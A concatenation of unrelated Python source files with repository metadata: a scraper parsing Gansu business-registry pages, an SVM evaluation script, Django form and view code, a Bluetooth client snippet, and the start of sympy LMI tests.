GsModel.Branch.COMPAY_NAME: spans.eq(0).text(), GsModel.Branch.CODE: spans.eq(3).text(), GsModel.Branch.REGISTERED_ADDRESS: spans.eq(6).text() # 待定 } branch_list.append(branch_model) if len(branch_list) > 0: branch_info_dict[GsModel.BRANCH] = branch_list return branch_info_dict # 出资信息 def get_contributive_info(self, con_info): con_info_dict = {} part_a_con = {} part_b_con = {} pages_list = self.get_crawl_page(con_info, True) # for else 业务逻辑是什么? for page in pages_list: trs = PyQuery(page.get(u'text', u''), parser='html').find('#invTab').find('tr').items() ''' 注释: 查找id为invTab的<tr>集合,则进入循环(分支1) ''' for tr in trs: tds = tr.find('td') if len(tds) < 2: continue con_model = { GsModel.ContributorInformation.SHAREHOLDER_NAME: tds.eq(1).text(), GsModel.ContributorInformation.SHAREHOLDER_TYPE: tds.eq(2).text(), GsModel.ContributorInformation.CERTIFICATE_TYPE: tds.eq(3).text(), GsModel.ContributorInformation.CERTIFICATE_NO: tds.eq(4).text() } part_a_con[tds.eq(1).text().strip()] = con_model else: ''' 注释: 查找id为invTab的<tr>集合,没有数据集,则进入else分支,查找id为tzrPageTab的<tr>集合(分支2) ''' trs = PyQuery(page.get('text', ''), parser='html').find('#tzrPageTab').find('tr').items() for tr in trs: tds = tr.find('td') if len(tds) < 2: continue con_model = { GsModel.ContributorInformation.SHAREHOLDER_NAME: tds.eq(1).text(), GsModel.ContributorInformation.SHAREHOLDER_TYPE: tds.eq(2).text() } part_a_con[con_model[GsModel.ContributorInformation.SHAREHOLDER_NAME]] = con_model pages_detail = self.get_crawl_page(con_info, True, Model.type_detail) if pages_detail is not None: for page in pages_detail: tables = PyQuery(page.get(u'text', u''), parser='html').find('.detailsList').items() shareholder_name, sub_model = self._get_sharehold_detail(tables) shareholder_name.replace(u'.', u'') part_b_con[shareholder_name] = sub_model con_list = [] for k_list, v_list in part_a_con.items(): v_list.update(part_b_con.get(k_list, {})) con_list.append(v_list) if len(con_list) > 0: con_info_dict[GsModel.CONTRIBUTOR_INFORMATION] = con_list return con_info_dict # 清算信息 def get_liquidation_info(self, liquidation_info): return {} def get_chattel_mortgage_info_detail(self, onclick, detail_list): result = dict() if onclick is None or onclick.strip() == '': return result temp_list = onclick.split(u'\'') if temp_list is None or len(temp_list) < 2: return result temp_list = temp_list[1].split(u'\'') if temp_list is None or len(temp_list) <= 0: return result morreg_id = temp_list[0] # 遍历所有页面 for detail in detail_list: url = detail.get('url') if not isinstance(url, basestring): continue if morreg_id not in url: continue text = detail.get('text') if not isinstance(text, basestring) or text.strip() == u'': continue table_list = PyQuery(text, parser='html').find('.detailsList') if table_list is None or table_list.length < 5: raise FieldMissError # 动产抵押登记信息 td_list = table_list.eq(0).find('td') cm_dict = dict() result[GsModel.ChattelMortgageInfo.ChattelDetail.CHATTEL_MORTGAGE] = cm_dict cm_dict[GsModel.ChattelMortgageInfo.ChattelDetail.ChattelMortgage.REGISTER_NUM] = td_list.eq(0).text() cm_dict[GsModel.ChattelMortgageInfo.ChattelDetail.ChattelMortgage.REGISTER_DATE] = td_list.eq(1).text() cm_dict[GsModel.ChattelMortgageInfo.ChattelDetail.ChattelMortgage.REGISTER_OFFICE] = td_list.eq(2).text() # 抵押权人概况信息 tr_list = table_list.eq(1).find('tr').items() mps_list = list() result[GsModel.ChattelMortgageInfo.ChattelDetail.MORTGAGE_PERSON_STATUS] = mps_list for tr in tr_list: td_list = tr.find('td') if td_list is None or td_list.length < 5: continue item = dict() item[GsModel.ChattelMortgageInfo.ChattelDetail.MortgagePersonStatus.MORTGAGE_PERSON_NAME] = td_list.eq( 1).text() item[GsModel.ChattelMortgageInfo.ChattelDetail.MortgagePersonStatus.CERTIFICATE_TYPE] = td_list.eq( 2).text() item[GsModel.ChattelMortgageInfo.ChattelDetail.MortgagePersonStatus.CERTIFICATE_NUM] = td_list.eq( 3).text() item[GsModel.ChattelMortgageInfo.ChattelDetail.MortgagePersonStatus.ADDRESS] = td_list.eq(4).text() mps_list.append(item) # 被担保债权概况信息 td_list = table_list.eq(2).find('td') gps_dict = dict() result[GsModel.ChattelMortgageInfo.ChattelDetail.GUARANTEED_PERSON_STATUS] = gps_dict gps_dict[GsModel.ChattelMortgageInfo.ChattelDetail.GuaranteedPersonStatus.KIND] = td_list.eq(0).text() gps_dict[GsModel.ChattelMortgageInfo.ChattelDetail.GuaranteedPersonStatus.AMOUNT] = td_list.eq(1).text() gps_dict[GsModel.ChattelMortgageInfo.ChattelDetail.GuaranteedPersonStatus.SCOPE] = td_list.eq(2).text() gps_dict[GsModel.ChattelMortgageInfo.ChattelDetail.GuaranteedPersonStatus.PERIOD] = td_list.eq(3).text() gps_dict[GsModel.ChattelMortgageInfo.ChattelDetail.GuaranteedPersonStatus.REMARK] = td_list.eq(4).text() # 抵押物概况信息 tr_list = table_list.eq(3).find('tr').items() gs_list = list() result[GsModel.ChattelMortgageInfo.ChattelDetail.GUARANTEE_STATUS] = gs_list for tr in tr_list: td_list = tr.find('td') if td_list is None or td_list.length < 5: continue item = dict() item[GsModel.ChattelMortgageInfo.ChattelDetail.GuaranteeStatus.NAME] = td_list.eq( 1).text() item[GsModel.ChattelMortgageInfo.ChattelDetail.GuaranteeStatus.AFFILIATION] = td_list.eq( 2).text() item[GsModel.ChattelMortgageInfo.ChattelDetail.GuaranteeStatus.SITUATION] = td_list.eq( 3).text() item[GsModel.ChattelMortgageInfo.ChattelDetail.GuaranteeStatus.REMARK] = td_list.eq(4).text() gs_list.append(item) # 变更信息 tr_list = table_list.eq(4).find('tr').items() change_list = list() result[GsModel.ChattelMortgageInfo.ChattelDetail.CHANGE_INFO] = change_list for tr in tr_list: td_list = tr.find('td') if td_list is None or td_list.length < 3: continue item = dict() item[GsModel.ChattelMortgageInfo.ChattelDetail.ChangeInfo.CHANGE_DATE] = td_list.eq( 1).text() item[GsModel.ChattelMortgageInfo.ChattelDetail.ChangeInfo.CHANGE_CONTENT] = td_list.eq( 2).text() break return result # 动产抵押登记信息 def get_chattel_mortgage_info(self, chattel_mortgage_info): chattel_mortgage_info_dict = dict() result_list = list() # 记录信息 空表也需要 chattel_mortgage_info_dict[GsModel.CHATTEL_MORTGAGE_INFO] = result_list detail_list = self.get_crawl_page(chattel_mortgage_info, multi=True, part=Model.type_detail) page_text = self.get_crawl_page(chattel_mortgage_info) if page_text is None: return chattel_mortgage_info_dict jq = PyQuery(page_text, parser='html') move_tab = jq.find("#moveTab") tr_list = move_tab.find('tr').items() for tr in tr_list: td_list = tr.find('td') if td_list.length < 8: continue item = dict() item[GsModel.ChattelMortgageInfo.REGISTER_NUM] = td_list.eq(1).text() item[GsModel.ChattelMortgageInfo.REGISTER_DATE] = td_list.eq(2).text() item[GsModel.ChattelMortgageInfo.REGISTER_OFFICE] = td_list.eq(3).text() item[GsModel.ChattelMortgageInfo.CREDIT_AMOUNT] = util.get_amount_with_unit(td_list.eq(4).text()) item[GsModel.ChattelMortgageInfo.STATUS] = td_list.eq(5).text() item[GsModel.ChattelMortgageInfo.PUBLISH_DATE] = td_list.eq(6).text() item[GsModel.ChattelMortgageInfo.CHATTEL_DETAIL] = self.get_chattel_mortgage_info_detail( td_list.eq(7).find('a').attr('onclick'), detail_list) if len(item) > 0: result_list.append(item) return chattel_mortgage_info_dict # 列入经营异常名录信息 def get_abnormal_operation_info(self, abnormal_operation_info): abnormal_operation_info_dict = dict() result_list = list() # 记录信息 空表也需要 abnormal_operation_info_dict[GsModel.ABNORMAL_OPERATION_INFO] = result_list page_text = self.get_crawl_page(abnormal_operation_info) if page_text is None: return abnormal_operation_info_dict jq = PyQuery(page_text, parser='html') move_tab = jq.find("#excpTab") tr_list = move_tab.find('tr').items() for tr in tr_list: td_list = tr.find('td') if td_list.length < 7: continue item = dict() item[GsModel.AbnormalOperationInfo.ENROL_REASON] = td_list.eq(1).text() item[GsModel.AbnormalOperationInfo.ENROL_DATE] = td_list.eq(2).text() item[GsModel.AbnormalOperationInfo.ENROL_DECIDE_OFFICE] = td_list.eq(3).text() item[GsModel.AbnormalOperationInfo.REMOVE_REASON] = td_list.eq(4).text() item[GsModel.AbnormalOperationInfo.REMOVE_DATE] = td_list.eq(5).text() item[GsModel.AbnormalOperationInfo.REMOVE_DECIDE_OFFICE] = td_list.eq(6).text() if len(item) > 0: result_list.append(item) return abnormal_operation_info_dict # 股权出质登记信息 详情 def get_equity_pledged_info_detail(self, onclick, detail_list): return {} # 股权出质登记信息 股权出资登记 def get_equity_pledged_info(self, equity_pledged_info): equity_pledged_info_dict = dict() result_list = list() # 记录信息 空表也需要 equity_pledged_info_dict[GsModel.EQUITY_PLEDGED_INFO] = result_list detail_list = self.get_crawl_page(equity_pledged_info, multi=True, part=Model.type_detail) page_text = self.get_crawl_page(equity_pledged_info) if page_text is None: return equity_pledged_info_dict jq = PyQuery(page_text, parser='html') move_tab = jq.find("#stockTab") tr_list = move_tab.find('tr').items() for tr in tr_list: td_list = tr.find('td') if td_list.length < 11: continue item = dict() item[GsModel.EquityPledgedInfo.REGISTER_NUM] = td_list.eq(1).text() item[GsModel.EquityPledgedInfo.MORTGAGOR] = td_list.eq(2).text() item[GsModel.EquityPledgedInfo.MORTGAGOR_NUM] = td_list.eq(3).text() item[GsModel.EquityPledgedInfo.PLEDGE_STOCK_AMOUNT] = util.get_amount_with_unit(td_list.eq(4).text()) item[GsModel.EquityPledgedInfo.PLEDGEE] = td_list.eq(5).text() item[GsModel.EquityPledgedInfo.PLEDGEE_NUM] = td_list.eq(6).text() item[GsModel.EquityPledgedInfo.REGISTER_DATE] = td_list.eq(7).text() item[GsModel.EquityPledgedInfo.STATUS] = td_list.eq(8).text() item[GsModel.EquityPledgedInfo.PUBLISH_DATE] = td_list.eq(9).text() item[GsModel.EquityPledgedInfo.EQUITY_PLEDGED_DETAIL] = self.get_equity_pledged_info_detail( td_list.eq(10).find('a').attr('onclick'), detail_list) if len(item) > 0: result_list.append(item) return equity_pledged_info_dict # 年报信息 def get_annual_info(self, annual_item_list): return ParseGanSuAnnual(annual_item_list, self.log).get_result() class ParseGanSuAnnual(object): def __init__(self, annual_item_list, log): self.annual_info_dict = {} if not isinstance(annual_item_list, list) or len(annual_item_list) <= 0: return self.log = log self.annual_item_list = annual_item_list # 分发解析 self.dispatch() def dispatch(self): if self.annual_item_list is None: raise IndexError("未抓取到相关网页,或者抓取网页失败") if len(self.annual_item_list) <= 0: return {} annual_item = self.annual_item_list[0] page = annual_item.get(u'text', u'') if page is None or len(page) == 0: return {} py_all = PyQuery(page, parser='html') # 基本信息 info = py_all.find('.info_name').items() annual_base_info = self.get_annual_base_info(info) self.annual_info_dict.update(annual_base_info) # 年报 企业资产状况信息 tds = py_all.find('#zczkId') asset_model = self.get_annual_asset_info(tds, py_all) self.annual_info_dict[AnnualReports.ENTERPRISE_ASSET_STATUS_INFORMATION] = asset_model divs = py_all.find('.webStyle.anchebotLine').items() for div in divs: # 网店 if u'网址' in div.text(): py_websites = div.find('#webInfo').items() lst_websites = self.get_annual_web_site_info(py_websites) self.annual_info_dict[AnnualReports.WEBSITES] = lst_websites # 对外投资 elif u'注册号' in div.text(): py_inv_company = div.find('#webInfo').items() lst_inv = self.get_annual_inv_info(py_inv_company) self.annual_info_dict[AnnualReports.INVESTED_COMPANIES] = lst_inv # 对外担保 py_share_hold = py_all.find('#dBaoAnrepTab').find('tr').items() lst_out_guaranty = self.get_annual_out_guarantee_info(py_share_hold) self.annual_info_dict[AnnualReports.OUT_GUARANTEE_INFO] = lst_out_guaranty # 股东出资信息 py_share_hold = py_all.find('#gdczAnrepTab').find('tr').items() lst_share_hold = self.get_annual_share_hold_info(py_share_hold) self.annual_info_dict[AnnualReports.SHAREHOLDER_INFORMATION] = lst_share_hold # 股权变更 py_edit_shareholding_change = py_all.find('#gqAlertTab').find('tr').items() lst_edit_shareholding_change = self.get_annual_edit_shareholding_change(py_edit_shareholding_change) self.annual_info_dict[AnnualReports.EDIT_SHAREHOLDING_CHANGE_INFOS] = lst_edit_shareholding_change # 修改记录 py_edit_change = py_all.find('#modifyTab').find('tr').items() lst_edit_change = self.get_annual_edit_change(py_edit_change) self.annual_info_dict[AnnualReports.EDIT_CHANGE_INFOS] = lst_edit_change # 年报基本信息 @staticmethod def get_annual_base_info(py_items): annual_base_info_dict = {} for item in py_items: item_content = item.text().replace(u'•', u'').replace(u':', u':') part = item_content.split(u':', 2) k = AnnualReports.format_base_model(part[0].strip()) annual_base_info_dict[k] = part[1].strip() return annual_base_info_dict # 年报网站信息 @staticmethod def get_annual_web_site_info(py_websites): lst_web = [] for py_web in py_websites: py_items = py_web.find('p').items() web_item = {} for item in py_items: if len(item.find('span')) == 1: web_item[AnnualReports.WebSites.NAME] = item.text() else: item_content = item.text().replace(u'·', u'') part = item_content.split(u':', 2) k = AnnualReports.format_website_model(part[0].strip()) web_item[k] = part[1].strip() lst_web.append(web_item) return lst_web # 年报 企业资产状况信息 @staticmethod def get_annual_asset_info(table_body, py_all): if len(table_body) <= 0: return {} model = {} lst_value = table_body.find('td').text().split(' ') lst_title = table_body.find('th').text().split(' ') if lst_title[0] == '': ent_body = py_all.find('#entZczk') lst_value = ent_body.find('td').text().split(' ') lst_title = ent_body.find('th').text().split(' ') map_title_value = zip(lst_title, lst_value) for k_title, v_value in map_title_value: k = AnnualReports.format_asset_model(k_title) model[k] = v_value return model # 年报 对外投资信息 @staticmethod def get_annual_inv_info(py_inv_company): lst_inv = [] for py_inv_item in py_inv_company: inv_item = {} ps_items = py_inv_item.find('p').items() for item in ps_items: if len(item.find('span')) == 1: inv_item[AnnualReports.InvestedCompanies.COMPANY_NAME] = item.text() else: item_content = item.text().replace(u'·', u'') part = item_content.split(u':', 2) inv_item[AnnualReports.InvestedCompanies.CODE] = part[1].strip() lst_inv.append(inv_item) return lst_inv # 年报 对外担保方法 @staticmethod def get_annual_out_guarantee_info(py_items): lst = [] for trs in py_items: tds = trs.find('td') if tds.text() == '': continue out_guarantee_model = { AnnualReports.OutGuaranteeInfo.CREDITOR: tds.eq(1).text(), AnnualReports.OutGuaranteeInfo.OBLIGOR: tds.eq(2).text(), AnnualReports.OutGuaranteeInfo.DEBT_TYPE: tds.eq(3).text(), AnnualReports.OutGuaranteeInfo.DEBT_AMOUNT: tds.eq(4).text(), AnnualReports.OutGuaranteeInfo.PERFORMANCE_PERIOD: tds.eq(5).text(), AnnualReports.OutGuaranteeInfo.GUARANTEE_PERIOD: tds.eq(6).text(), AnnualReports.OutGuaranteeInfo.GUARANTEE_TYPE: tds.eq(7).text() } lst.append(out_guarantee_model) return lst # 年报 股东出资信息(客户端分页) @staticmethod def get_annual_share_hold_info(gdcz_item): lst = [] for trs in gdcz_item: tds = trs.find('td') if tds.text() == '': continue share_model = { AnnualReports.ShareholderInformation.SHAREHOLDER_NAME: tds.eq(1).text(), AnnualReports.ShareholderInformation.SUBSCRIPTION_AMOUNT: util.get_amount_with_unit(tds.eq(2).text()), AnnualReports.ShareholderInformation.SUBSCRIPTION_TIME: tds.eq(3).text(), AnnualReports.ShareholderInformation.SUBSCRIPTION_TYPE: tds.eq(4).text(), AnnualReports.ShareholderInformation.PAIED_AMOUNT: util.get_amount_with_unit(tds.eq(5).text()), AnnualReports.ShareholderInformation.PAIED_TIME: tds.eq(6).text(), AnnualReports.ShareholderInformation.PAIED_TYPE: tds.eq(7).text() } lst.append(share_model) return lst # 年报 股权变更方法 @staticmethod def get_annual_edit_shareholding_change(py_items): lst = [] for trs in py_items: tds = trs.find('td') if tds.text() == '': continue change_model = { AnnualReports.EditShareholdingChangeInfos.SHAREHOLDER_NAME: tds.eq(1).text(), AnnualReports.EditShareholdingChangeInfos.BEFORE_CONTENT: tds.eq(2).text(), AnnualReports.EditShareholdingChangeInfos.AFTER_CONTENT: tds.eq(3).text(), AnnualReports.EditShareholdingChangeInfos.CHANGE_DATE: tds.eq(4).text() } lst.append(change_model) return lst def get_result(self): return self.annual_info_dict # 年报 修改记录 @staticmethod def get_annual_edit_change(py_items): lst = [] for trs in py_items: tds = trs.find('td') if tds.text().strip() == u'': continue edit_model = { AnnualReports.EditChangeInfos.CHANGE_ITEM: tds.eq(1).text(), AnnualReports.EditChangeInfos.BEFORE_CONTENT: tds.eq(2).text(), AnnualReports.EditChangeInfos.AFTER_CONTENT: tds.eq(3).text(), AnnualReports.EditChangeInfos.CHANGE_DATE: tds.eq(4).text() } lst.append(edit_model) return lst
[ "694982665@qq.com" ]
694982665@qq.com
6df2056ff1d872877478b3262889069c5861363e
ed69733d37d120674fb9725e2f3e3376885fc295
/svm.py
b0ba3a7513fbf13a52700b41c478cce3a66cc425
[ "MIT" ]
permissive
zacateras/nn-nbirds
b0c105066ed2c2628b1946ee8ce1a925eb14132f
3ed19982c442b8d47d284307a8a814deaef107e3
refs/heads/master
2020-03-12T10:11:40.664248
2018-06-14T23:58:42
2018-06-14T23:58:42
130,567,878
0
0
null
null
null
null
UTF-8
Python
false
false
5,666
py
""" Utilities for evaluating svms on neural model outputs Useful functions: * predict_svm_vectors -- for predicting test and training vectors * evaluate_svm """ import os import sys import keras from keras.preprocessing.image import ImageDataGenerator from preprocess import apply, build_ds_meta, bounding_box from sklearn import svm import pickle import numpy as np from pykernels.regular import Exponential import matplotlib.pyplot as plt def predict_svm_vectors(directory, base_model, top_layer='dropout_8', batch_size=32): """ Generates tuple of (nn_output_vectors, categories). Top layer is name of new model (one without last layer), and must be given by user. :param directory: :param base_model: :param top_layer: :param image_width: :param image_height: :param batch_size: :return: """ model = keras.models.Model(inputs=base_model.input, outputs=base_model.get_layer(top_layer).output) w = int(model.input.shape[1]) h = int(model.input.shape[2]) generator = ImageDataGenerator( rescale=1. / 255, rotation_range=0, width_shift_range=0, height_shift_range=0, vertical_flip=False, horizontal_flip=False ).flow_from_directory( directory, target_size=(w, h), batch_size=batch_size, shuffle=False, color_mode='rgb') svm_x = model.predict_generator(generator, verbose=True) svm_y = generator.classes return svm_x, svm_y def evaluate_svm(test_data, train_data, classifier, logfile=None): """ Evaluates svm, writes output to logfile in tsv format with columns: - svm description - accuracy on test set - accuracy on train set """ train_x, train_y = train_data classifier.fit(train_x, train_y) test_x, test_y = test_data train_accuracy = classifier.score(train_x, train_y) test_accuracy = classifier.score(test_x, test_y) out_msg = '\t'.join((str(classifier.C), str(classifier.kernel), str(test_accuracy), str(train_accuracy))) print(out_msg) if logfile is not None: with open(logfile, 'a+') as lf: lf.writelines([out_msg]) return test_accuracy, train_accuracy def evaluate_nn_model(directory, model, batch_size=32): w = int(model.input.shape[1]) h = int(model.input.shape[2]) generator = ImageDataGenerator( rescale=1. / 255, rotation_range=0, width_shift_range=0, height_shift_range=0, vertical_flip=False, horizontal_flip=False ).flow_from_directory( directory, target_size=(w, h), batch_size=batch_size, color_mode='rgb') model.compile( loss='categorical_crossentropy', optimizer='adam', metrics=['categorical_accuracy']) accuracy = model.evaluate_generator(generator) out_msg = '\t'.join(('nn_categorical_accuracy', (str(accuracy)))) print(out_msg) if __name__ == '__main__': if len(sys.argv) > 1: base_model = keras.models.load_model(sys.argv[1]) base_model.summary() data_dir = "data" train_dir = os.path.join(data_dir, "SET_A_train") test_dir = os.path.join(data_dir, "SET_A_test") bb_train_dir = os.path.join(data_dir, "SET_A_train_BB") bb_test_dir = os.path.join(data_dir, "SET_A_test_BB") ds_meta = build_ds_meta() # apply(bounding_box, train_dir, bb_train_dir, ds_meta) # apply(bounding_box, test_dir, bb_test_dir, ds_meta) test_data = predict_svm_vectors(bb_test_dir, base_model, top_layer=sys.argv[2]) train_data = predict_svm_vectors(bb_train_dir, base_model, top_layer=sys.argv[2]) evaluate_nn_model(bb_test_dir, base_model) with open('svm_tmp_data.pkl', 'wb') as data_tmp_file: pickle.dump(test_data, data_tmp_file, pickle.HIGHEST_PROTOCOL) pickle.dump(train_data, data_tmp_file, pickle.HIGHEST_PROTOCOL) else: # if there is no model, load data from tmp file with open('svm_tmp_data.pkl', 'rb') as data_tmp_file: test_data = pickle.load(data_tmp_file) train_data = pickle.load(data_tmp_file) exp_testing_accuracy = [] exp_training_accuracy = [] exp_range = np.arange(0.1, 8, 0.2) for c in exp_range: svm_classifier = svm.SVC(C=c, kernel=Exponential(sigma=7), degree=2, decision_function_shape='ovr') tsa, tra = evaluate_svm(test_data, train_data, svm_classifier, 'log.tsv') exp_testing_accuracy.append(tsa) exp_training_accuracy.append(tra) plt.plot(exp_range, exp_training_accuracy, 'o-', label="trainset acc") plt.plot(exp_range, exp_testing_accuracy, 'o-', label="testset acc") plt.xlabel("C") plt.ylabel("Accuracy") plt.title("SVM - exponential kernel") plt.legend() plt.savefig("plt_exp.pdf") plt.savefig("plt_exp.png") poly_testing_accuracy = [] poly_training_accuracy = [] poly_range = np.arange(0.1, 10, 0.5) for c in poly_range: svm_classifier = svm.SVC(C=c, kernel='poly', degree=2, decision_function_shape='ovr') tsa, tra = evaluate_svm(test_data, train_data, svm_classifier, 'log.tsv') poly_training_accuracy.append(tra) poly_testing_accuracy.append(tsa) plt.clf() plt.plot(poly_range, poly_training_accuracy, 'o-', label="trainset acc") plt.plot(poly_range, poly_testing_accuracy, 'o-', label="testset acc") plt.xlabel("C") plt.ylabel("Accuracy") plt.title("SVM - polynomial kernel") plt.legend() plt.savefig("plt_poly.pdf") plt.savefig("plt_poly.png")
[ "andrzej.dawidziuk@gmail.com" ]
andrzej.dawidziuk@gmail.com
400556d084d848f2f98fbc226d21d5d1372fb006
a97a244c1586f0f742d8ef159f86b7d8a677187f
/lunch/stores/forms.py
deb5ec107bf8df35cc5b023b14bd7d39040a1439
[]
no_license
white1033/play_django
da9d8fe695d673b8cc0069e95482554da1b02d5e
f5e56983cd45465c2efd3ac0e3f5f4e0e7703ee1
refs/heads/master
2021-01-10T02:16:12.897064
2015-10-25T04:16:44
2015-10-25T04:16:44
44,461,591
0
0
null
null
null
null
UTF-8
Python
false
false
477
py
from django import forms from .models import Store from crispy_forms.helper import FormHelper from crispy_forms.layout import Submit class StoreForm(forms.ModelForm): class Meta: model = Store fields = ('name', 'notes',) def __init__(self, *args, submit_title='Submit', **kwargs): super().__init__(*args, **kwargs) self.helper = FormHelper() if submit_title: self.helper.add_input(Submit('submit', submit_title))
[ "k75715@gmail.com" ]
k75715@gmail.com
7f0d01cad5f22e0769e53477e5496c0680068b8a
4c765c87c0fd04140b168451f0a42ed378515287
/app/api_service/core/views.py
d5b983280040fb34d2ecf362046213a6701e7303
[ "MIT" ]
permissive
TheRayOfSeasons/worker-heavy-cicd
807c0aaf44152cdb9ba0d35575d7c428d8213543
fa36e89dd68ee2fd8b37bda55d6bb885f31afaa7
refs/heads/main
2023-03-02T01:31:25.454289
2021-02-13T07:41:26
2021-02-14T11:02:41
338,232,547
0
0
null
null
null
null
UTF-8
Python
false
false
3,913
py
from django.views.generic import TemplateView from braces.views import JSONResponseMixin from services import Services class JSONView(JSONResponseMixin, TemplateView): """ A view dedicated for responding customized json data. Reference: https://docs.djangoproject.com/en/3.0/topics/class-based-views/mixins/#more-than-just-html """ disable_get = False def render_to_response(self, context, **response_kwargs): """ This totally overrides the template view's render_to_response method. Rather than responding an html rendered through django templates, this will response a json that contains the values returned by get_context_data. """ return self.render_json_response(context, **response_kwargs) def get(self, request, *args, **kwargs): if self.disable_get: raise Http404(f'GET is disabled for {self.__class__.__name__}') return super().get(request, *args, **kwargs) def post(self, request, *args, **kwargs): """ Do the same thing with Post. """ context = self.get_context_data(**kwargs) return self.render_to_response(context) class DelegatedWorkerInterface(object): """ An interface mixin for the delegated worker view. """ task_name = '' payload_args = [] payload_kwargs = {} def get_task_name(self, *args, **kwargs): """ A virtual method for assembling the value of the payload's `task` key, should there be a need for any dynamic implementations. """ return self.task_name def get_payload_args(self, *args, **kwargs): """ A virtual method for assembling the value of the payload's `arg` key. """ return self.payload_args def get_payload_kwargs(self, *args, **kwargs): """ A virtual method for assembling the value of the payload's `arg` key. """ return self.payload_kwargs class DelegatedWorkerView(DelegatedWorkerInterface, JSONView): """ Delagates an asyncronous task to the worker service. This way, the load of the task won't interfere with the performance of the main application in the server. """ # If errors are raised or just returned as an alternative # response for the front-end to handle. throw_errors = True disable_get = True def get_error_message(self, error, *args, **kwargs): """ Returns the error message should this be configured not to throw errors in the backend, and instead let it be handled by the front end. """ return { 'status': 400, 'raw_error': error, 'message': 'Invalid arguments.' } def get_success_message(self, *args, **kwargs): """ Returns the success message. """ return { 'status': 200, 'message': ( 'Process successfully delegated ' 'to worker microservice.' ) } def _delegate_to_workers(self, *args, **kwargs): """ Sends the delegated values to the worker service. """ try: task = self.get_task_name(*args, **kwargs) payload_args = self.get_payload_args(*args, **kwargs) payload_kwargs = self.get_payload_kwargs(*args, **kwargs) Services.Workers.send_payload( task, *payload_args, **payload_kwargs ) except Exception as e: if not self.throw_errors: return self.get_error_message(e, *args, **kwargs) else: raise e return self.get_success_message() def get_context_data(self, *args, **kwargs): return self._delegate_to_workers(*args, **kwargs)
[ "rsison@spectrumone.co" ]
rsison@spectrumone.co
2cbd3471948723ca1549e4f3554303d705f8caad
78e328628b62613c69d26c2a6ae696328307d681
/tutorial/bluetooth/rfcomm-client.py
addd2dda0c03c612b0a05a2701271ecafcecf69b
[]
no_license
funwalla/Sandbox
9df4ed637cf696950657ece1c36e2c907777bd5b
32a488bcdd171afa78589fe16cd0f3aa1bae4aff
refs/heads/master
2021-01-10T18:25:38.090148
2012-06-21T01:36:44
2012-06-21T01:36:44
3,556,464
0
0
null
null
null
null
UTF-8
Python
false
false
175
py
import bluetooth bd_addr = "F8:DB:7F:18:E1:D5" port = 1 sock=bluetooth.BluetoothSocket( bluetooth.RFCOMM ) sock.connect((bd_addr, port)) sock.send("hello!!") sock.close()
[ "johnpaulwinchester@gmail.com" ]
johnpaulwinchester@gmail.com
977bc6a3732170a6fb220cdaace2fb742271b850
ae8b636b8d189090f3950a52efd8ae53dabb0cc2
/lmi_sdp/tests/test_lm.py
4245701f3ba6c7b80678b2fa8e62d3cd65256e3d
[ "BSD-2-Clause", "LicenseRef-scancode-unknown-license-reference" ]
permissive
fanfufei/PyLMI-SDP
453a5d9f220596a313b2f72d34b2bf84ab11d614
cac22772feeff1f7d3366d89c9d3d1a977e14eb1
refs/heads/master
2020-06-13T23:00:21.030218
2014-09-14T18:48:00
2014-09-14T18:48:00
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,408
py
from sympy import Matrix, zeros, MatAdd, MatMul from sympy.abc import x, y, z import numpy as np from lmi_sdp import NonLinearExpressionError, NonLinearMatrixError, \ lin_expr_coeffs, lm_sym_to_coeffs, lm_coeffs_to_sym, lm_sym_expanded def test_lin_expr_coeffs(): e = 1.2 + 3*x - 4.5*y + z coeffs, const = lin_expr_coeffs(e, [x, y, z]) assert coeffs == [3.0, -4.5, 1.0] assert const == 1.2 def test_lin_expr_coeffs_exceptions(): except_ok = False try: lin_expr_coeffs(1.2 + x + y*z, [x, y, z]) except NonLinearExpressionError: except_ok = True assert except_ok except_ok = False try: lin_expr_coeffs(1.2 + x*y, [x]) except NonLinearExpressionError: except_ok = True assert except_ok def test_lm_sym_to_coeffs(): m = Matrix([[1.2, x], [3.4*y, 1.2 + 3*x - 4.5*y + z]]) coeffs = lm_sym_to_coeffs(m, [x, y, z]) assert len(coeffs) == 2 assert len(coeffs[0]) == 3 assert (coeffs[0][0] == np.matrix([[0.0, 1.0], [0.0, 3.0]])).all() assert (coeffs[0][1] == np.matrix([[0.0, 0.0], [3.4, -4.5]])).all() assert (coeffs[0][2] == np.matrix([[0.0, 0.0], [0.0, 1.0]])).all() assert (coeffs[1] == np.matrix([[1.2, 0.0], [0.0, 1.2]])).all() assert lm_sym_to_coeffs(Matrix([0.0]), [x, y, z]) == \ ([np.matrix([[0.0]]), np.matrix([[0.0]]), np.matrix([[0.0]])], np.matrix([[0.0]])) try: import scipy except ImportError: # pragma: no cover pass else: def test_lm_sym_to_coeffs_sparse(): m = Matrix([[1.2, x], [3.4*y, 1.2 + 3*x - 4.5*y + z]]) coeffs = lm_sym_to_coeffs(m, [x, y, z], sparse=True) assert len(coeffs) == 2 assert len(coeffs[0]) == 3 assert (coeffs[0][0].toarray() == np.matrix([[0.0, 1.0], [0.0, 3.0]])).all() assert (coeffs[0][1].toarray() == np.matrix([[0.0, 0.0], [3.4, -4.5]])).all() assert (coeffs[0][2].toarray() == np.matrix([[0.0, 0.0], [0.0, 1.0]])).all() assert (coeffs[1].toarray() == np.matrix([[1.2, 0.0], [0.0, 1.2]])).all() def test_lm_sym_to_coeffs_exceptions(): except_ok = False try: lm_sym_to_coeffs(Matrix([1.2 + x + y*z]), [x, y, z]) except NonLinearMatrixError: except_ok = True assert except_ok except_ok = False try: lm_sym_to_coeffs(Matrix([1.2 + x*y]), [x]) except NonLinearMatrixError: except_ok = True assert except_ok def test_lm_coeffs_to_sym(): var_coeffs = [None]*3 var_coeffs[0] = np.matrix([[0.0, 1.0], [0.0, 3.0]]) var_coeffs[1] = np.matrix([[0.0, 0.0], [3.4, -4.5]]) var_coeffs[2] = np.matrix([[0.0, 0.0], [0.0, 1.0]]) consts = np.matrix([[1.2, 0.0], [0.0, 1.2]]) coeffs = (var_coeffs, consts) m = Matrix([[1.2, x], [3.4*y, 1.2 + 3*x - 4.5*y + z]]) assert lm_coeffs_to_sym(coeffs, [x, y, z]) - m == zeros(2) def test_lm_sym_expanded(): m = Matrix([[0, x], [3.4*y, 3*x - 4.5*y + z]]) c = Matrix([[1.2, 0], [0, 1.2]]) cx = MatMul(Matrix([[0.0, 1.0], [0.0, 3.0]]), x) cy = MatMul(Matrix([[0.0, 0.0], [3.4, -4.5]]), y) cz = MatMul(Matrix([[0.0, 0.0], [0.0, 1.0]]), z) cc = Matrix([[1.2, 0.0], [0.0, 